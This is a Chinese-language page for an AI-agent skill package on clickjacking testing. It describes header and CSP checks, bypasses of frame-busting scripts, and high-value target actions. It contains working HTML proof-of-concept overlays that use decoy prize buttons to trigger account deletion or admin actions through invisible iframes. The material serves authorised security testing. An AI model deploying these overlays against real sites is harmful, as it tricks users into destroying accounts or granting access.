关于 clickjacking
面向安全测试人员的点击劫持技能,讲解页面可嵌入性检测、透明 iframe 概念、绕过方式及多步骤测试。
主要功能
- 01检查 X-Frame-Options 与 CSP
- 02透明 iframe 概念验证
- 03多步骤点击劫持测试
- 04拖放攻击情形
- 05框架脚本绕过检查
适用场景
- 01评估敏感页面是否可被嵌入
- 02验证高风险操作的点击劫持影响
- 03检查框架限制及脚本防护
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill clickjacking安装后在 Claude Code 中输入/clickjacking确认已加载。
详细介绍
技能:点击劫持 — 专家攻击手册
AI 加载指令:点击劫持(UI 伪装)技术。涵盖 iframe 透明度技巧、绕过 X-Frame-Options、CSP frame-ancestors、多步骤点击劫持、拖放攻击,以及与其他漏洞的组合利用。这类发现通常被评为“低严重性”,但若攻击目标是管理员操作,则可能升级为严重问题。
1. 核心概念
点击劫持会在攻击者页面上覆盖一个透明 iframe,并在其中加载目标页面。受害者看到的是攻击者的 UI,却点击了不可见的目标页面,从而执行非预期操作。
<style>
iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
.decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>
2. 检测 — 页面是否可被嵌入框架?
检查 X-Frame-Options 响应头
X-Frame-Options: DENY → cannot be framed (secure)
X-Frame-Options: SAMEORIGIN → only same-origin framing (secure for cross-origin)
X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent
(header absent) → frameable! (vulnerable)
检查 CSP frame-ancestors
Content-Security-Policy: frame-ancestors 'none' → cannot be framed
Content-Security-Policy: frame-ancestors 'self' → same-origin only
Content-Security-Policy: frame-ancestors https://a.com → specific origin
(directive absent) → frameable
在现代浏览器中,CSP frame-ancestors 的优先级高于 X-Frame-Options。
快速 PoC 测试
<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>
如果页面能在 iframe 中加载 → 可被嵌入框架 → 可能存在漏洞。
JavaScript 框架检测(来自目标页面源代码)
// Common frame-busting code found in target pages:
if (top.location.hostname !== self.location.hostname) {
top.location.href = self.location.href;
}
如果页面包含此代码,但未使用 CSP frame-ancestors,通常可以绕过。
3. 概念验证模板
基本单击
<html>
<head><title>Free Prize</title></head>
<body>
<h1>Click the button to claim your prize!</h1>
<style>
iframe { position: absolute; top: 300px; left: 60px;
width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
</style>
<iframe src="https://target.com/account/settings?action=delete"></iframe>
</body>
</html>
多步骤点击劫持
对于需要多次点击的操作(例如“确定要继续吗?”确认):
<div id="step1">
<button onclick="document.getElementById('step1').style.display='none';
document.getElementById('step2').style.display='block';">
Step 1: Click here
</button>
</div>
<div id="step2" style="display:none">
<button>Step 2: Confirm</button>
</div>
<iframe src="https://target.com/admin/action"></iframe>
为每个步骤重新定位 iframe,使透明按钮与诱饵对齐。
拖放点击劫持
使用 HTML5 拖放事件,将数据从一个 iframe 提取到另一个 iframe——受害者在不可见的 iframe 上拖动,从而传输令牌或数据。
4. 绕过技巧
绕过框架拦截脚本
某些页面使用 JavaScript 框架拦截脚本:
if (top !== self) { top.location = self.location; }
使用 sandbox 属性绕过:
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
绕过 X-Frame-Options ALLOW-FROM
Chrome/Safari 不支持 ALLOW-FROM。如果服务器仅依赖 ALLOW-FROM,现代浏览器会忽略它 → 页面可被嵌入框架。
双重框架
如果设置了 X-Frame-Options: SAMEORIGIN,但存在一个可被嵌入框架的同源页面(且该页面未设置 XFO),则可将该页面用作中间页来嵌入目标页面。
5. 高影响目标
Account deletion page
Email/password change form
Admin panel actions (add user, change role)
Payment confirmation
OAuth authorization ("Allow" button)
Two-factor authentication disable
API key generation
Webhook configuration
6. 测试清单
□ Check X-Frame-Options header on sensitive pages
□ Check CSP frame-ancestors directive
□ Create iframe PoC and verify page loads
□ Test frame-busting scripts — try sandbox attribute bypass
□ Identify high-value single-click actions
□ For multi-step actions, build multi-click PoC
□ Test both authenticated and unauthenticated pages
□ Verify ALLOW-FROM behavior across browsers